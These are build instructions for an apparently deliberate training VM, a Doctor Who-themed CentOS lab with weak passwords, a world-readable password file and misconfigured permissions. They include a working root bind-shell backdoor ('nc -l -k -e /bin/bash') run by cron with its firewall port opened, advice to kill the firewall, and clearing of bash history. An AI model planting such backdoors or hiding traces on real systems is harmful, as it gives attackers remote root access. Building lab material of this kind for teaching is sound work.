# Building the Linux Dr. Who Adventure VM—No GUI

This VM is built on the CentOS minimal install, 8.2.2004 using VMware Workstation 15 Pro, 15.5.6.

Do manual install—Vmware easy install fails on this version. Install as student, password student, and set root password to Exterminate!

Note: everything in this document is done as root

Update and install GUI  
yum update

create users  
adduser doctor  
 password Gallifrey  
adduser clara  
 password CoalHillSchool  
adduser dalek  
 password Exterminate!  
adduser student (should already be done)  
 password student

Create file with Clara’s password, readable by everyone  
mkdir /var/account (already exists in CentOS)  
echo “Clara’s password is CoalHillSchool” > /var/account/Danny  
ls -l /var shows rwxr-xr-x root, root. Anyone can see the contents  
ls -l /var/account/Danny shows rw-r--r-- root root, so it is owned by root but readable by everyone

Create tardis group, make doctor and clara members  
groupadd tardis  
gpasswd -a doctor tardis  
gpasswd -a clara tardis

Make the tardis directory, make doctor the owner and tardis the group  
chown doctor:tardis /home/tardis  
cd tardis  
echo “To make the Tardis take off, rush about madly, flip levers, and hope for the best.” > TardisManual  
chown doctor:tardis TardisManual  
chmod 640 TardisManual  
ls -l should show -rw-r----- doctor tardis

Copy the file smtp to /var/log, then give the group tardis read, and nothing for other. Without a GUI, one way to do this is to use scp. From the host/vm where smtp.txt lives, execute:  
scp smtp.txt student@{ip address of DrWho VM}:smtp.txt  
Then move smtp.txt from /home/student to /var/log  
chown root:tardis /var/log/smtp  
chmod 640 /var/log/smtp

Give Doctor sudo rights by adding him to the wheel group.  
gpasswd -a doctor wheel

Give Davros sudo rights manually  
visudo  
near end by %wheel line  
davros ALL=(ALL) ALL

cd /etc/rc.d  
nano Davros  
insert this text

#!/bin/bash

# chkconfig: 2345 55 25

# description: Dalek Credoch

echo "Daleks are the superior race! Daleks reign supreme! Exterminate! Exterminate!"

Make Darvros executable by all

chmod +x Davros

then create symlink in /etc/rc.d/rc2.d through rc5.d with   
ln -s ../../rc.d/Davros ./S99davros

Daleks are the superior race! Daleks reign supreme! Exterminate! Exterminate!

Create Davros’ back door. Use nano or some other editor to create the file listen in /root  
nano /root/listen

#!/bin/bash

if pgrep -x "nc" > /dev/null

then

echo "Already running"

else

nc -l -k -e /bin/bash 7530

fi

chmod +x /root/listen

Now make a cron entry for the root user that will run the listen script every 5 min. As root,  
crontab -e  
Add a line like this:  
\*/5 \* \* \* \* /root/listen  


Allow port 7530 through the firewall.  
firewall-cmd --zone=public --add-port=7530/tcp –-permanent

Reboot

Note: If this doesn’t work, you can kill the firewall  
ps aux | grep firewalld  
kill {get PID from ps output}

**Next to last step:** Run through the test to make sure everything works

**Last step:** Log in as doctor and execute:  
cd ~  
rm .bash\_history

Then repeat for clara and student. Don’t leave any hints for the students in the BASH history!